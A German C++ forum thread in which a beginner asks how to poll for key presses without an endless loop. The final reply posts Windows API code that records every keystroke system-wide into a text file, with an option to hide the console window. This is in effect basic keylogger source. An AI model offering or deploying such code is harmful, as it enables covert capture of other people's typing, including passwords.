Frage zur Tastenabfrage
-
Hallo,
ich habe gelernt wie ich eine Taste abfrage. Dies funktioniert mit kbhit und getch aus conio.h. Meine Frage ist nun, ob man eine solche Frage auch anders verwirklichen kann, als in einer Endlosschleife? Wenn der Code nämlich in keiner Endlosschleife steht, dann hat man doch nur eine Millisekunde Zeit (wahrscheinlich noch weniger) um eine Eingabe zu machen. Wenn man zu spät die Taste drückt, dann ist das Programm schon an einer anderen Codezeile. Ich habe
das so gemacht:#include <iostream> #include <string> #include <iomanip> #include <conio.h> using namespace std; int main() { int c; while(true) //muss das in einer Endlosschleife stehen? { if (kbhit() != 0) { c = getch(); if (c==27) cout << "Sie haben ESC gedrueckt" << endl; } } return 0; }Eigentlich finde ich es schon errschreckend, wie leicht so was ist, denn eigentlich ist es dann ja gar kein Problem mehr Viren zu schreiben (z.B. einen Keylogger)....
Naja, vielen Dank
lg, freakC++
-
ist doch schon ne endlosschleife
-
das weiß ich auch, aber ich frage mich, ob man eine ständige Tastenabfrage auch anders lösen kann??
lg, freakC++
-
freakC++ schrieb:
Eigentlich finde ich es schon errschreckend, wie leicht so was ist, denn eigentlich ist es dann ja gar kein Problem mehr Viren zu schreiben (z.B. einen Keylogger)....
Viren != Keylogger
Das ist meilenweit voneinander entfernt.
Falls du mit deinem Programm Tasten abfangen willst, funktioniert es nicht. Da dein Programm den Focus haben muss.
-
Sowas vielleicht ?
Hallo vielleicht suchtst du sowas?
Ist zwar nicht standart C++ aber die Sachen mit dem Datei anlegen (falls du das brauchst) kannste ja noch umändern.Naja und halt WIN API Sachen sind hier auch enthalten ...
#include <windows> #include <stdio> #include <iostream> using namespace std; int main() { AllocConsole(); ShowWindow(FindWindowA("ConsoleWindowClass",NULL),1); // 0 = konsole verstecken // 1 = konsole anzeigen FILE *Log; short key; char szKey[MAX_PATH]; int scan; while(1) { Sleep(10); for(key=0;key<256;key++) { if(GetAsyncKeyState(key)==-32767) { scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0)); GetKeyNameText(scan << 16,szKey,MAX_PATH); Log=fopen ("testdatei.txt","a+"); cout<<endl; fprintf(Log,"%s-",szKey); fclose(Log); } } } }